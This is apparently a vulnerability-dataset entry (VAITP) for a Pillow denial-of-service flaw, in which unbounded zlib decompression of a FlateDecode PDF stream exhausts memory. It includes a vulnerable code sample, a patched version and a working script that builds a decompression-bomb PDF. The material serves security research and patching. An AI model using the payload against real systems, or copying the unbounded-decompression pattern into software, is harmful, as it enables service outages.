CVE-2026-59200
Pillow vulnerable to DoS via crafted FlateDecode stream in a PDF file.
- CVSS 7.5
- CWE-400
- Resource Management
- Remote
Pillow is a Python imaging library. From 5.1.0 until 12.3.0, PdfParser.PdfStream.decode() in PIL/PdfParser.py calls zlib.decompress() with bufsize set to the PDF stream Length field without bounding the decompressed output size, allowing a crafted FlateDecode PDF stream to exhaust memory from a small file. This issue is fixed in version 12.3.0.
- CWE
- CWE-400
- CVSS base score
- 7.5
- Published
- 2026-07-14
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- Pillow
- Fixed by upgrading
- Yes
Solution
Upgrade Pillow to version 12.3.0 or later.
Vulnerable code sample
import zlib
# Simplified representation of the vulnerable class from PIL/PdfParser.py
class PdfStream:
def decode(self, data, stream_dict):
# 'Length' is read from the PDF stream's dictionary and used as 'bufsize'.
bufsize = stream_dict.get("Length", 0)
# The vulnerable call: zlib.decompress is used without any
# mechanism to limit the final size of the decompressed output.
# A small 'data' payload that decompresses to a huge size (a
# decompression bomb) will cause this to allocate gigabytes of
# memory, leading to a denial of service.
return zlib.decompress(data, 15, bufsize)Patched code sample
import zlib
MAX_DECOMPRESSED_SIZE = 256 * 1024 * 1024
def fixed_flate_decode(compressed_data: bytes) -> bytes:
"""
Safely decodes Flate data by decompressing in chunks and enforcing a
limit on the total output size to prevent decompression bomb attacks.
"""
decompressed_data = bytearray()
decompressor = zlib.decompressobj()
CHUNK_SIZE = 1024 * 1024 # 1 MB chunks
for i in range(0, len(compressed_data), CHUNK_SIZE):
chunk = compressed_data[i : i + CHUNK_SIZE]
try:
decompressed_chunk = decompressor.decompress(chunk)
except zlib.error as e:
raise ValueError("Invalid FlateDecode data in stream") from e
if len(decompressed_data) + len(decompressed_chunk) > MAX_DECOMPRESSED_SIZE:
raise ValueError("Decompressed data exceeds size limit")
decompressed_data.extend(decompressed_chunk)
try:
remaining_data = decompressor.flush()
except zlib.error as e:
raise ValueError("Invalid FlateDecode data at end of stream") from e
if len(decompressed_data) + len(remaining_data) > MAX_DECOMPRESSED_SIZE:
raise ValueError("Decompressed data exceeds size limit")
decompressed_data.extend(remaining_data)
return bytes(decompressed_data)Payload
import zlib
# This script generates a PDF file that triggers a memory exhaustion vulnerability
# in vulnerable versions of Pillow by using a "decompression bomb".
FILENAME = "payload.pdf"
DECOMPRESSED_SIZE_MB = 500 # Target memory usage in MB
# 1. Create a highly compressible data stream (e.g., null bytes)
uncompressed_data = b'\x00' * (DECOMPRESSED_SIZE_MB * 1024 * 1024)
# 2. Compress the data using zlib (used by the FlateDecode filter in PDF)
compressed_data = zlib.compress(uncompressed_data)
compressed_length = len(compressed_data)
# 3. Construct a minimal, valid PDF file embedding the malicious stream
# The vulnerability occurs when Pillow decodes the stream object (4 0 obj)
pdf_template = f"""%PDF-1.7
1 0 obj
<</Type /Catalog /Pages 2 0 R>>
endobj
2 0 obj
<</Type /Pages /Count 1 /Kids [3 0 R]>>
endobj
3 0 obj
<</Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length {compressed_length}>>
stream
""".encode('latin-1')
# 4. Assemble the final PDF content
pdf_payload = (
pdf_template
+ compressed_data
+ b"\nendstream\nendobj\nxref\n0 5\n0000000000 65535 f \n0000000009 00000 n \n0000000052 00000 n \n0000000101 00000 n \n0000000181 00000 n \ntrailer<</Size 5/Root 1 0 R>>\nstartxref\n"
+ str(251 + compressed_length).encode('latin-1')
+ b"\n%%EOF"
)
# 5. Write the payload to a file
with open(FILENAME, "wb") as f:
f.write(pdf_payload)
Cite this entry
@misc{vaitp:cve202659200,
title = {{Pillow vulnerable to DoS via crafted FlateDecode stream in a PDF file.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-59200},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-59200/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
